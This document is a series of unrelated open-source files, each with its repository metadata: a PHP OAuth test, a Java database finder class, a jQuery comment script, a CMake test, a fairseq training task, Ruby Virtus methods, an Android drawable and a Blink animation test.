'realname' => 'screen_name',
'profilepicture' => 'profile_image_url',
);
protected function setUpResourceOwner($name, $httpUtils, array $options)
{
$options = array_merge(
array(
'authorization_url' => 'https://api.weibo.com/oauth2/authorize',
'access_token_url' => 'https://api.weibo.com/oauth2/access_token',
'revoke_token_url' => 'https://api.weibo.com/oauth2/revokeoauth2',
'infos_url' => 'https://api.weibo.com/2/users/show.json',
),
$options
);
return new SinaWeiboResourceOwner($this->buzzClient, $httpUtils, $options, $name, $this->storage);
}
public function testGetUserInformation()
{
$this->mockBuzz($this->userResponse);
/**
* @var $userResponse \HWI\Bundle\OAuthBundle\OAuth\Response\AbstractUserResponse
*/
$userResponse = $this->resourceOwner->getUserInformation(array('access_token' => 'token', 'uid' => '1'));
$this->assertEquals('1', $userResponse->getUsername());
$this->assertEquals('bar', $userResponse->getNickname());
$this->assertEquals('token', $userResponse->getAccessToken());
$this->assertNull($userResponse->getRefreshToken());
$this->assertNull($userResponse->getExpiresIn());
}
public function testCustomResponseClass()
{
$class = '\HWI\Bundle\OAuthBundle\Tests\Fixtures\CustomUserResponse';
$resourceOwner = $this->createResourceOwner('oauth2', array('user_response_class' => $class));
$this->mockBuzz();
/**
* @var $userResponse \HWI\Bundle\OAuthBundle\Tests\Fixtures\CustomUserResponse
*/
$userResponse = $resourceOwner->getUserInformation(array('access_token' => 'token', 'uid' => '1'));
$this->assertInstanceOf($class, $userResponse);
$this->assertEquals('foo666', $userResponse->getUsername());
$this->assertEquals('foo', $userResponse->getNickname());
$this->assertEquals('token', $userResponse->getAccessToken());
$this->assertNull($userResponse->getRefreshToken());
$this->assertNull($userResponse->getExpiresIn());
}
}
| {
"content_hash": "65dcc45b57fceb7581612d0b14f75b5c",
"timestamp": "",
"source": "github",
"line_count": 75,
"max_line_length": 113,
"avg_line_length": 36.18666666666667,
"alnum_prop": 0.6215917464996316,
"repo_name": "johnyjamma93/prod_lokisalle",
"id": "e3c6b829774c2859caa06da5f4267bc9aa647c69",
"size": "2953",
"binary": false,
"copies": "1",
"ref": "refs/heads/full",
"path": "vendor/hwi/oauth-bundle/HWI/Bundle/OAuthBundle/Tests/OAuth/ResourceOwner/SinaWeiboResourceOwnerTest.php",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "192858"
},
{
"name": "JavaScript",
"bytes": "363395"
},
{
"name": "PHP",
"bytes": "1915592"
},
{
"name": "Puppet",
"bytes": "2943"
},
{
"name": "Ruby",
"bytes": "907"
},
{
"name": "Shell",
"bytes": "572"
}
],
"symlink_target": ""
} |
/**
*
*/
package com.github.reels_project.reels.query;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;
import com.github.reels_project.reels.query.meta.IDBTable;
import com.github.reels_project.reels.query.query.QueryExecutor;
import com.github.reels_project.reels.query.query.Exp;
import com.github.reels_project.reels.query.query.Order;
import com.github.reels_project.reels.query.query.internal.DefaultQueryContext;
import com.github.reels_project.reels.query.query.internal.QueryUtils;
import com.github.reels_project.reels.query.util.ClassUtils;
import com.github.reels_project.reels.query.util.Tuple;
/**
* モデルの検索を行います。
* <p>検索を行うクラスです</p>
*
* TODO v0.3.x 再利用可能インスタンスを作成するファクトリメソッドを追加する?
* @author Takahiko Sato(MOSA architect Inc.)
*/
public class DefaultFinder<I,T> implements Finder<I, T>{
private static final String SQL_TEMPLATE_COUNT = "SELECT COUNT(1) AS CNT FROM %s";
private static final String SQL_TEMPLATE_BY_ID = "SELECT * FROM %s WHERE %s";
private Class<T> modelClass;
private IDBTable root;
private ModelDescription modelDescription;
/**
* モデルクラス、テーブル、モデル詳細を指定して新しいインスタンスを生成します。
* @param modelClass モデルクラス
* @param table テーブル
* @param modelDescription モデル詳細
*/
public DefaultFinder(Class<T> modelClass,IDBTable table,ModelDescription modelDescription) {
this.modelClass = modelClass;
this.root = table;
this.modelDescription = modelDescription;
}
@Override
public T requiredById(I id){
return byId(id).orElseThrow(()->new RuntimeException("Record is required but no result."));
}
/**
* プライマリーキーで検索します
* @param id プライマリーキー
* @return Model
*/
@Override
public Optional<T> byId(I id){
if(id == null){
throw new NullPointerException("IDがnullです");
}
List<Object> params = new ArrayList<Object>();
List<String> where = new ArrayList<String>();
List<Tuple<String, String>> ids = modelDescription.getIdNames();
for(Tuple<String, String> t : ids){
if(t._2.contains("/")){
String[] subNames = t._2.split("/");
if(subNames.length != 2){
throw new RuntimeException(String.format("フィールド名%sが不正です", t._2));
}
Field embField = ClassUtils.getField(subNames[0], modelClass);
if(embField == null){
throw new RuntimeException(String.format("%sクラスのフィールド%sが見つかりません", modelClass.getSimpleName(),subNames[0]));
}
Class<?> emb = embField.getType();
Field f = ClassUtils.getField(subNames[1], emb);
params.add(ClassUtils.callGetter(f, id));
}else{
Field f = ClassUtils.getField(t._2, modelClass);
if(f == null){
throw new RuntimeException(String.format("%sクラスのフィールド%sが見つかりません", modelClass.getSimpleName(),t._2));
}
params.add(id);
}
where.add(t._1 + "=?");
}
String sql = String.format(SQL_TEMPLATE_BY_ID,root.getName() ,QueryUtils.joinWith(" and ", where));
QueryExecutor q = Q.stringQuery(sql).forOnce();
for(Object o : params){
q.addParam(o);
}
return q.getResult(modelClass);
}
/**
* 件数を返します。
* @return 件数
*/
@Override
public long count(){
Optional<Object> count = Q.stringQuery(String.format(SQL_TEMPLATE_COUNT, root.getName()))
.forOnce()
.getResult((rs) -> rs.getObject("CNT"));
//JDBCによってcountの戻りの型が違う
return ((Number)count.get()).longValue();
}
/**
* 条件を指定して件数を返します。
* @param exp 検索条件
* @return 件数
*/
@Override
public long countWhere(Exp exp){
if(exp == null){
return count();
}
String sql = String.format(SQL_TEMPLATE_COUNT, root.getName() + " " + root.getAlias());
DefaultQueryContext context = new DefaultQueryContext(root);
String p = exp.getSQL(context);
if(p != null && !p.isEmpty()){
sql = sql + " WHERE " + p;
}
Optional<Object> count = Q.stringQuery(sql)
.forOnce()
.getResult((rs) -> rs.getObject("CNT"));
return ((Number)count.get()).longValue();
}
/**
* 一覧を返します
* @return 一覧
*/
@Override
public List<T> list(Order...orders){
return Q.select().from(root).orderBy(orders).forOnce().getResultList(modelClass);
}
/**
* 件数を指定して一覧を返します。
* @param limit 最大件数
* @return 一覧
*/
@Override
public List<T> list(int limit,Order...orders){
if(limit < 1){
throw new IllegalArgumentException("limit must be greater than 0");
}
return Q.select()
.from(root)
.orderBy(orders)
.limit(limit)
.forOnce()
.getResultList(modelClass);
}
/**
* 開始位置と件数を指定して一覧を返します。
* @param offset 開始位置
* @param limit 最大件数
* @return 一覧
*/
@Override
public List<T> list(int offset,int limit,Order...orders){
if(limit < 1){
throw new IllegalArgumentException("limit must be greater than 0");
}
if(offset < 0){
throw new IllegalArgumentException("offset must be greater than -1");
}
return Q.select()
.from(root)
.limit(limit)
.orderBy(orders)
.offset(offset)
.forOnce()
.getResultList(modelClass);
}
@Override
public T requiredWhere(Exp expression){
return where(expression).orElseThrow(() -> new RuntimeException("Record is required but no result."));
}
/**
* 条件を指定して1件取得します
* @param expression 条件
* @return 1件の結果
*/
@Override
public Optional<T> where(Exp expression){
return Q.select()
.from(root)
.where(expression)
.forOnce()
.getResult(modelClass);
}
/**
* 条件を指定して一覧を返します。
* @param expression 条件
* @return 一覧
*/
@Override
public List<T> listWhere(Exp expression,Order...orders){
return Q.select()
.from(root)
.where(expression)
.orderBy(orders)
.forOnce()
.getResultList(modelClass);
}
/**
* 条件、件数を指定して一覧を返します。
* @param expression 条件
* @param limit 最大件数
* @return 一覧
*/
@Override
public List<T> listWhere(Exp expression,Integer limit,Order...orders){
if(limit < 1){
throw new IllegalArgumentException("limit must be greater than 0");
}
return Q.select()
.from(root)
.where(expression)
.orderBy(orders)
.limit(limit)
.forOnce()
.getResultList(modelClass);
}
/**
* 条件、開始位置、件数を指定して一覧を返します。
* @param expression 条件
* @param offset 開始位置
* @param limit 件数
* @return 一覧
*/
@Override
public List<T> listWhere(Exp expression,Integer offset,Integer limit,Order...orders){
if(limit < 1){
throw new IllegalArgumentException("limit must be greater than 0");
}
if(offset < 0){
throw new IllegalArgumentException("offset must be greater than -1");
}
return Q.select()
.from(root)
.where(expression)
.orderBy(orders)
.limit(limit)
.offset(offset)
.forOnce()
.getResultList(modelClass);
}
}
| {
"content_hash": "4b07d59433099d01f8ad54f94ffdc0bf",
"timestamp": "",
"source": "github",
"line_count": 272,
"max_line_length": 112,
"avg_line_length": 24.202205882352942,
"alnum_prop": 0.6697554306547167,
"repo_name": "reels-project/reels",
"id": "a2c4eadd0ea37e4d7735e684d233628f6e370552",
"size": "7335",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "reels-query/src/main/java/com/github/reels_project/reels/query/DefaultFinder.java",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Java",
"bytes": "417776"
}
],
"symlink_target": ""
} |
$().ready(function () {
$("form.comment").on("submit", function (event) {
event.preventDefault();
var $form = $(this);
var $commentTableFirstColumn = $(".comment.list .list-item:first");
var $input = $("textarea.comment");
$.post($form.attr("action"), $form.serialize(), function (data, status) {
var $user = $('.comment-form .avatar')
var image = $user.data('avatar'),
username = $user.data('username'),
fullname = $user.data('name'),
id=$user.data('id'),
content = data.content;
var rowStr = '<div class="list-item">\
<div class="list-left">\
<div style="background-image: url('+ image +')" class="avatar"></div>\
</div>\
<div class="list-right">\
<div class="relate-info clearfix">\
<div class="pull-left"><a data-username="' + username + '" href="/u/+ id +/" class="name">' + fullname +'</a>\
</div>\
<div class="pull-right"><span class="time">' + 'Just now' + '</span>\
</div>\
</div>\
<div class="content"><p>'+ content + '</p></div>\
</div>\
</div>'
$commentTableFirstColumn.before(rowStr);
$input.val("");
}, 'json').fail(function (e, status) {
var errors = e.responseJSON;
console.log(errors);
$form.addClass("has-error");
setTimeout(function () {
$form.removeClass('has-error')
}, 2000);
});
return false;
});
});
| {
"content_hash": "405bda3b4e81be1870e83dc3c24e1422",
"timestamp": "",
"source": "github",
"line_count": 43,
"max_line_length": 110,
"avg_line_length": 32.674418604651166,
"alnum_prop": 0.5508896797153024,
"repo_name": "kxxoling/Programmer-Sign",
"id": "799d80be9db20d9c240e72d0a33f92c75a5853d6",
"size": "1405",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "sigh/static/js/sigh.js",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "6453"
},
{
"name": "HTML",
"bytes": "14534"
},
{
"name": "JavaScript",
"bytes": "6613"
},
{
"name": "Makefile",
"bytes": "739"
},
{
"name": "Python",
"bytes": "18510"
}
],
"symlink_target": ""
} |
include(RunCMake)
set(RunCMake_GENERATOR_PLATFORM "")
run_cmake(NoPlatform)
if("${RunCMake_GENERATOR}" MATCHES "^Visual Studio ([89]|1[0124])( 20[0-9][0-9])?$")
set(RunCMake_GENERATOR_PLATFORM "x64")
run_cmake(x64Platform)
else()
set(RunCMake_GENERATOR_PLATFORM "Bad Platform")
run_cmake(BadPlatform)
endif()
set(RunCMake_GENERATOR_TOOLSET "")
set(RunCMake_TEST_OPTIONS -A "Extra Platform")
run_cmake(TwoPlatforms)
unset(RunCMake_TEST_OPTIONS)
if("${RunCMake_GENERATOR}" MATCHES "^Visual Studio ([89]|1[0124])( 20[0-9][0-9])?$")
set(RunCMake_TEST_OPTIONS -DCMAKE_TOOLCHAIN_FILE=${RunCMake_SOURCE_DIR}/TestPlatform-toolchain.cmake)
run_cmake(TestPlatformToolchain)
unset(RunCMake_TEST_OPTIONS)
else()
set(RunCMake_TEST_OPTIONS -DCMAKE_TOOLCHAIN_FILE=${RunCMake_SOURCE_DIR}/BadPlatform-toolchain.cmake)
run_cmake(BadPlatformToolchain)
unset(RunCMake_TEST_OPTIONS)
endif()
| {
"content_hash": "fb0e167188c5ba723346e1438f75a916",
"timestamp": "",
"source": "github",
"line_count": 28,
"max_line_length": 103,
"avg_line_length": 31.964285714285715,
"alnum_prop": 0.7463687150837989,
"repo_name": "hlzz/dotfiles",
"id": "4d0a0a1a1b0032e972cd70cc447ec021ac3e811d",
"size": "895",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "dev/cmake-3.5.1/Tests/RunCMake/GeneratorPlatform/RunCMakeTest.cmake",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "AppleScript",
"bytes": "1240"
},
{
"name": "Arc",
"bytes": "38"
},
{
"name": "Assembly",
"bytes": "449468"
},
{
"name": "Batchfile",
"bytes": "16152"
},
{
"name": "C",
"bytes": "102303195"
},
{
"name": "C++",
"bytes": "155056606"
},
{
"name": "CMake",
"bytes": "7200627"
},
{
"name": "CSS",
"bytes": "179330"
},
{
"name": "Cuda",
"bytes": "30026"
},
{
"name": "D",
"bytes": "2152"
},
{
"name": "Emacs Lisp",
"bytes": "14892"
},
{
"name": "FORTRAN",
"bytes": "5276"
},
{
"name": "Forth",
"bytes": "3637"
},
{
"name": "GAP",
"bytes": "14495"
},
{
"name": "GLSL",
"bytes": "438205"
},
{
"name": "Gnuplot",
"bytes": "327"
},
{
"name": "Groff",
"bytes": "518260"
},
{
"name": "HLSL",
"bytes": "965"
},
{
"name": "HTML",
"bytes": "2003175"
},
{
"name": "Haskell",
"bytes": "10370"
},
{
"name": "IDL",
"bytes": "2466"
},
{
"name": "Java",
"bytes": "219109"
},
{
"name": "JavaScript",
"bytes": "1618007"
},
{
"name": "Lex",
"bytes": "119058"
},
{
"name": "Lua",
"bytes": "23167"
},
{
"name": "M",
"bytes": "1080"
},
{
"name": "M4",
"bytes": "292475"
},
{
"name": "Makefile",
"bytes": "7112810"
},
{
"name": "Matlab",
"bytes": "1582"
},
{
"name": "NSIS",
"bytes": "34176"
},
{
"name": "Objective-C",
"bytes": "65312"
},
{
"name": "Objective-C++",
"bytes": "269995"
},
{
"name": "PAWN",
"bytes": "4107117"
},
{
"name": "PHP",
"bytes": "2690"
},
{
"name": "Pascal",
"bytes": "5054"
},
{
"name": "Perl",
"bytes": "485508"
},
{
"name": "Pike",
"bytes": "1338"
},
{
"name": "Prolog",
"bytes": "5284"
},
{
"name": "Python",
"bytes": "16799659"
},
{
"name": "QMake",
"bytes": "89858"
},
{
"name": "Rebol",
"bytes": "291"
},
{
"name": "Ruby",
"bytes": "21590"
},
{
"name": "Scilab",
"bytes": "120244"
},
{
"name": "Shell",
"bytes": "2266191"
},
{
"name": "Slash",
"bytes": "1536"
},
{
"name": "Smarty",
"bytes": "1368"
},
{
"name": "Swift",
"bytes": "331"
},
{
"name": "Tcl",
"bytes": "1911873"
},
{
"name": "TeX",
"bytes": "11981"
},
{
"name": "Verilog",
"bytes": "3893"
},
{
"name": "VimL",
"bytes": "595114"
},
{
"name": "XSLT",
"bytes": "62675"
},
{
"name": "Yacc",
"bytes": "307000"
},
{
"name": "eC",
"bytes": "366863"
}
],
"symlink_target": ""
} |
import torch
from fairseq.optim.amp_optimizer import AMPOptimizer
from fairseq.tasks import register_task
from fairseq.tasks.speech_to_text import SpeechToTextTask
from .data.speech_to_text_dataset_with_domain import SpeechToTextDatasetCreatorWithDomain
from .loss.attention_head_selection import HeadSelectionLoss
@register_task("speech_to_text_head_selection")
class SpeechToTextHeadSelectionTask(SpeechToTextTask):
@classmethod
def add_args(cls, parser):
SpeechToTextTask.add_args(parser)
parser.add_argument(
"--task-type",
type=str,
default="lang",
help="task type for head selection, lang or domain"
)
parser.add_argument(
"--kl-weight",
type=float,
default=0.0,
help="the weight of KL loss"
)
def __init__(self, args, tgt_dict):
super().__init__(args, tgt_dict)
self.task_type = args.task_type
assert self.task_type in ["lang", "domain"], "invalid task_type: {}, should be either lang or domain".format(self.task_type)
self.map_task_to_id(args.train_subset)
self.encoder_head_prior = float(args.decoder_attention_heads) / args.total_decoder_attention_heads
self.decoder_head_prior = float(args.encoder_attention_heads) / args.total_encoder_attention_heads
self.kl_loss = HeadSelectionLoss(args)
def map_task_to_id(self, train_subset):
src_lang_set, tgt_lang_set, domain_set = set(), set(), set()
for split in train_subset.split(","):
seq = split.split("_")
assert len(seq) == 4, "subset {} should be in the format of train_src_tgt_domain".format(split)
_, src_lang, tgt_lang, domain = seq
src_lang_set.add(src_lang)
tgt_lang_set.add(tgt_lang)
domain_set.add(domain)
src_langs = sorted(src_lang_set)
tgt_langs = sorted(tgt_lang_set)
domains = sorted(domain_set)
self.src_lang_map = {src_lang: i for (i, src_lang) in enumerate(src_langs)}
self.tgt_lang_map = {tgt_lang: i for (i, tgt_lang) in enumerate(tgt_langs)}
self.domain_map = {domain: i for (i, domain) in enumerate(domains)}
if self.task_type == "lang":
self.encoder_tasks = len(self.src_lang_map)
self.decoder_tasks = len(self.tgt_lang_map)
elif self.task_type == "domain":
self.encoder_tasks = len(self.domain_map)
self.decoder_tasks = len(self.domain_map)
def load_dataset(self, split, epoch=1, combine=False, **kwargs):
is_train_split = split.startswith("train")
pre_tokenizer = self.build_tokenizer(self.args)
bpe_tokenizer = self.build_bpe(self.args)
self.datasets[split] = SpeechToTextDatasetCreatorWithDomain.from_tsv(
self.args.data,
self.data_cfg,
split,
self.tgt_dict,
pre_tokenizer,
bpe_tokenizer,
is_train_split=is_train_split,
epoch=epoch,
seed=self.args.seed,
src_lang_map=self.src_lang_map,
tgt_lang_map=self.tgt_lang_map,
domain_map=self.domain_map,
speaker_to_id=self.speaker_to_id
)
def build_model(self, args):
args.encoder_tasks = self.encoder_tasks
args.decoder_tasks = self.decoder_tasks
return super(SpeechToTextHeadSelectionTask, self).build_model(args)
def get_sample_sizes(self, sample, task_ids, num_tasks):
"""
task_ids: (bsz,)
get sample sizes for each task
"""
bsz = task_ids.size(0)
mat = torch.zeros((num_tasks, bsz), device=task_ids.device)
mat[task_ids, torch.arange(bsz)] = 1.0
ntokens = torch.sum(sample['target'] != 1, dim=-1)
sample_sizes = torch.matmul(mat, ntokens.float())
return sample_sizes
def train_step(
self, sample, model, criterion, optimizer, update_num, ignore_grad=False
):
model.train()
model.set_num_updates(update_num)
# task ids
if self.task_type == "lang":
encoder_task_ids = sample["src_lang_ids"]
decoder_task_ids = sample["tgt_lang_ids"]
elif self.task_type == "domain":
encoder_task_ids = sample["domain_ids"]
decoder_task_ids = sample["domain_ids"]
model.encoder.set_task_ids(encoder_task_ids)
model.decoder.set_task_ids(decoder_task_ids)
with torch.autograd.profiler.record_function("forward"):
with torch.cuda.amp.autocast(enabled=(isinstance(optimizer, AMPOptimizer))):
loss, sample_size, logging_output = criterion(model, sample)
# KL loss
if self.args.encoder_attn_head_select:
sample_sizes = self.get_sample_sizes(sample, encoder_task_ids, self.encoder_tasks)
loss += self.kl_loss(
model.encoder.attn_head_selector.head_samples,
sample_sizes,
self.encoder_head_prior
)
if self.args.decoder_self_attn_head_select:
sample_sizes = self.get_sample_sizes(sample, decoder_task_ids, self.decoder_tasks)
loss += self.kl_loss(
model.decoder.self_attn_head_selector.head_samples,
sample_sizes,
self.decoder_head_prior
)
if self.args.dec_enc_attn_head_select:
sample_sizes = self.get_sample_sizes(sample, decoder_task_ids, self.decoder_tasks)
loss += self.kl_loss(
model.decoder.enc_attn_head_selector.head_sampes,
sample_sizes,
self.decoder_head_prior
)
if ignore_grad:
loss *= 0
with torch.autograd.profiler.record_function("backward"):
optimizer.backward(loss)
return loss, sample_size, logging_output
def valid_step(self, sample, model, criterion):
model.eval()
# task ids
if self.task_type == "lang":
encoder_task_ids = sample["src_lang_ids"]
decoder_task_ids = sample["tgt_lang_ids"]
elif self.task_type == "domain":
encoder_task_ids = sample["domain_ids"]
decoder_task_ids = sample["domain_ids"]
model.encoder.set_task_ids(encoder_task_ids)
model.decoder.set_task_ids(decoder_task_ids)
with torch.no_grad():
loss, sample_size, logging_output = criterion(model, sample)
return loss, sample_size, logging_output
def inference_step(
self, generator, models, sample, prefix_tokens=None, constraints=None
):
with torch.no_grad():
# task ids
if self.task_type == "lang":
encoder_task_ids = sample["src_lang_ids"][:1]
decoder_task_ids = sample["tgt_lang_ids"][:1]
elif self.task_type == "domain":
encoder_task_ids = sample["domain_ids"][:1]
decoder_task_ids = sample["domain_ids"][:1]
for model in models:
model.encoder.set_task_ids(encoder_task_ids)
model.decoder.set_task_ids(decoder_task_ids)
return generator.generate(
models, sample, prefix_tokens=prefix_tokens, constraints=constraints
)
| {
"content_hash": "f98678d2f682cd8f1bfabade36553480",
"timestamp": "",
"source": "github",
"line_count": 175,
"max_line_length": 132,
"avg_line_length": 43.137142857142855,
"alnum_prop": 0.5788846204795337,
"repo_name": "pytorch/fairseq",
"id": "6e0ce11d6307493b30da865ba23adf23d0015b7c",
"size": "7727",
"binary": false,
"copies": "1",
"ref": "refs/heads/main",
"path": "examples/attention_head_selection/src/speech_to_text_head_selection.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "C++",
"bytes": "21106"
},
{
"name": "Cuda",
"bytes": "38166"
},
{
"name": "Cython",
"bytes": "13294"
},
{
"name": "Lua",
"bytes": "4210"
},
{
"name": "Python",
"bytes": "3699357"
},
{
"name": "Shell",
"bytes": "2182"
}
],
"symlink_target": ""
} |
module Virtus
# Instance methods that are added when you include Virtus
module InstanceMethods
# Set attributes during initialization of an object
#
# @param [#to_hash] attributes
# the attributes hash to be set
#
# @return [undefined]
#
# @api private
def initialize(attributes = nil)
self.attributes = attributes if attributes
end
# Returns a value of the attribute with the given name
#
# @example
# class User
# include Virtus
#
# attribute :name, String
# end
#
# user = User.new(:name => 'John')
# user[:name] # => "John"
#
# @param [Symbol] name
# a name of an attribute
#
# @return [Object]
# a value of an attribute
#
# @api public
def [](name)
get_attribute(name)
end
# Sets a value of the attribute with the given name
#
# @example
# class User
# include Virtus
#
# attribute :name, String
# end
#
# user = User.new
# user[:name] = "John" # => "John"
# user.name # => "John"
#
# @param [Symbol] name
# a name of an attribute
#
# @param [Object] value
# a value to be set
#
# @return [Object]
# the value set on an object
#
# @api public
def []=(name, value)
set_attribute(name, value)
end
# Returns a hash of all publicly accessible attributes
#
# @example
# class User
# include Virtus
#
# attribute :name, String
# attribute :age, Integer
# end
#
# user = User.new(:name => 'John', :age => 28)
# user.attributes # => { :name => 'John', :age => 28 }
#
# @return [Hash]
#
# @api public
def attributes
get_attributes(&:public_reader?)
end
# Mass-assign attribute values
#
# Keys in the +attributes+ param can be symbols or strings.
# All referenced Attribute writer methods *will* be called.
# Non-attribute setter methods on the receiver *will* be called.
#
# @example
# class User
# include Virtus
#
# attribute :name, String
# attribute :age, Integer
# end
#
# user = User.new
# user.attributes = { :name => 'John', 'age' => 28 }
#
# @param [#to_hash] attributes
# a hash of attribute names and values to set on the receiver
#
# @return [Hash]
#
# @api public
def attributes=(attributes)
set_attributes(attributes)
end
# Returns a hash of all publicly accessible attributes
#
# @example
# class User
# include Virtus
#
# attribute :name, String
# attribute :age, Integer
# end
#
# user = User.new(:name => 'John', :age => 28)
# user.attributes # => { :name => 'John', :age => 28 }
#
# @return [Hash]
#
# @api public
def to_hash
attributes
end
# Freeze object
#
# @return [self]
#
# @api public
#
# @example
#
# class User
# include Virtus
#
# attribute :name, String
# attribute :age, Integer
# end
#
# user = User.new(:name => 'John', :age => 28)
# user.frozen? # => false
# user.freeze
# user.frozen? # => true
#
# @api public
def freeze
set_defaults
super
end
private
# Get values of all attributes defined for this class, ignoring privacy
#
# @return [Hash]
#
# @api private
def get_attributes
attribute_set.each_with_object({}) do |attribute, attributes|
name = attribute.name
attributes[name] = get_attribute(name) if yield(attribute)
end
end
# Ensure all defaults are set
#
# @return [AttributeSet]
#
# @api private
def set_defaults
attribute_set.each do |attribute|
get_attribute(attribute.name)
end
end
# Mass-assign attribute values
#
# @see Virtus::InstanceMethods#attributes=
#
# @return [Hash]
#
# @api private
def set_attributes(attributes)
::Hash.try_convert(attributes).each do |name, value|
set_attribute(name, value) if allowed_writer_methods.include?("#{name}=")
end
end
# Returns a value of the attribute with the given name
#
# @see Virtus::InstanceMethods#[]
#
# @return [Object]
#
# @api private
def get_attribute(name)
__send__(name)
end
# Sets a value of the attribute with the given name
#
# @see Virtus::InstanceMethods#[]=
#
# @return [Object]
#
# @api private
def set_attribute(name, value)
__send__("#{name}=", value)
end
# The list of allowed public methods
#
# @return [Array<String>]
#
# @api private
def allowed_methods
public_methods.map(&:to_s)
end
end # module InstanceMethods
end # module Virtus
| {
"content_hash": "dc5e1ad5032f1b6ee36627c32bcf338c",
"timestamp": "",
"source": "github",
"line_count": 231,
"max_line_length": 81,
"avg_line_length": 21.683982683982684,
"alnum_prop": 0.5432222000399282,
"repo_name": "kristianmandrup/virtus",
"id": "06c29d524328c7b2e4f494d3eaa140d722521592",
"size": "5009",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "lib/virtus/instance_methods.rb",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Ruby",
"bytes": "231557"
}
],
"symlink_target": ""
} |
<?xml version="1.0" encoding="utf-8"?>
<bitmap android:src="@drawable/ic_menu_search_mtrl_alpha" android:tint="?colorControlNormal"
xmlns:android="http://schemas.android.com/apk/res/android" /> | {
"content_hash": "b044442b3e65537e11bd573b1189c146",
"timestamp": "",
"source": "github",
"line_count": 3,
"max_line_length": 92,
"avg_line_length": 65,
"alnum_prop": 0.7384615384615385,
"repo_name": "hexiaoshuai/Flyme_device_ZTE_A1",
"id": "c025efc267944b2dc7a120e4d186cf68b26f0ddc",
"size": "195",
"binary": false,
"copies": "5",
"ref": "refs/heads/C880AV1.0.0B06",
"path": "framework-res/res/drawable/ic_menu_search_material.xml",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "GLSL",
"bytes": "1500"
},
{
"name": "HTML",
"bytes": "10195"
},
{
"name": "Makefile",
"bytes": "11258"
},
{
"name": "Python",
"bytes": "924"
},
{
"name": "Shell",
"bytes": "2734"
},
{
"name": "Smali",
"bytes": "234274633"
}
],
"symlink_target": ""
} |
namespace blink {
class AnimationInterpolableValueTest : public ::testing::Test {
protected:
InterpolableValue* interpolationValue(Interpolation& interpolation)
{
return interpolation.getCachedValueForTesting();
}
double interpolateNumbers(double a, double b, double progress)
{
RefPtr<Interpolation> i = Interpolation::create(InterpolableNumber::create(a), InterpolableNumber::create(b));
i->interpolate(0, progress);
return toInterpolableNumber(interpolationValue(*i.get()))->value();
}
bool interpolateBools(bool a, bool b, double progress)
{
RefPtr<Interpolation> i = Interpolation::create(InterpolableBool::create(a), InterpolableBool::create(b));
i->interpolate(0, progress);
return toInterpolableBool(interpolationValue(*i.get()))->value();
}
PassRefPtr<Interpolation> interpolateLists(PassOwnPtr<InterpolableList> listA, PassOwnPtr<InterpolableList> listB, double progress)
{
RefPtr<Interpolation> i = Interpolation::create(listA, listB);
i->interpolate(0, progress);
return i;
}
};
TEST_F(AnimationInterpolableValueTest, InterpolateNumbers)
{
EXPECT_FLOAT_EQ(126, interpolateNumbers(42, 0, -2));
EXPECT_FLOAT_EQ(42, interpolateNumbers(42, 0, 0));
EXPECT_FLOAT_EQ(29.4f, interpolateNumbers(42, 0, 0.3));
EXPECT_FLOAT_EQ(21, interpolateNumbers(42, 0, 0.5));
EXPECT_FLOAT_EQ(0, interpolateNumbers(42, 0, 1));
EXPECT_FLOAT_EQ(-21, interpolateNumbers(42, 0, 1.5));
}
TEST_F(AnimationInterpolableValueTest, InterpolateBools)
{
EXPECT_FALSE(interpolateBools(false, true, -1));
EXPECT_FALSE(interpolateBools(false, true, 0));
EXPECT_FALSE(interpolateBools(false, true, 0.3));
EXPECT_TRUE(interpolateBools(false, true, 0.5));
EXPECT_TRUE(interpolateBools(false, true, 1));
EXPECT_TRUE(interpolateBools(false, true, 2));
}
TEST_F(AnimationInterpolableValueTest, SimpleList)
{
OwnPtr<InterpolableList> listA = InterpolableList::create(3);
listA->set(0, InterpolableNumber::create(0));
listA->set(1, InterpolableNumber::create(42));
listA->set(2, InterpolableNumber::create(20.5));
OwnPtr<InterpolableList> listB = InterpolableList::create(3);
listB->set(0, InterpolableNumber::create(100));
listB->set(1, InterpolableNumber::create(-200));
listB->set(2, InterpolableNumber::create(300));
RefPtr<Interpolation> i = interpolateLists(listA.release(), listB.release(), 0.3);
InterpolableList* outList = toInterpolableList(interpolationValue(*i.get()));
EXPECT_FLOAT_EQ(30, toInterpolableNumber(outList->get(0))->value());
EXPECT_FLOAT_EQ(-30.6f, toInterpolableNumber(outList->get(1))->value());
EXPECT_FLOAT_EQ(104.35f, toInterpolableNumber(outList->get(2))->value());
}
TEST_F(AnimationInterpolableValueTest, NestedList)
{
OwnPtr<InterpolableList> listA = InterpolableList::create(3);
listA->set(0, InterpolableNumber::create(0));
OwnPtr<InterpolableList> subListA = InterpolableList::create(1);
subListA->set(0, InterpolableNumber::create(100));
listA->set(1, subListA.release());
listA->set(2, InterpolableBool::create(false));
OwnPtr<InterpolableList> listB = InterpolableList::create(3);
listB->set(0, InterpolableNumber::create(100));
OwnPtr<InterpolableList> subListB = InterpolableList::create(1);
subListB->set(0, InterpolableNumber::create(50));
listB->set(1, subListB.release());
listB->set(2, InterpolableBool::create(true));
RefPtr<Interpolation> i = interpolateLists(listA.release(), listB.release(), 0.5);
InterpolableList* outList = toInterpolableList(interpolationValue(*i.get()));
EXPECT_FLOAT_EQ(50, toInterpolableNumber(outList->get(0))->value());
EXPECT_FLOAT_EQ(75, toInterpolableNumber(toInterpolableList(outList->get(1))->get(0))->value());
EXPECT_TRUE(toInterpolableBool(outList->get(2))->value());
}
}
| {
"content_hash": "cc39f04d00dfca4e9b303804e6a13982",
"timestamp": "",
"source": "github",
"line_count": 94,
"max_line_length": 135,
"avg_line_length": 41.819148936170215,
"alnum_prop": 0.7099974561180361,
"repo_name": "collinjackson/mojo",
"id": "3faf9db25c9974c929270a1766f139c1fb6a8eb4",
"size": "4266",
"binary": false,
"copies": "1",
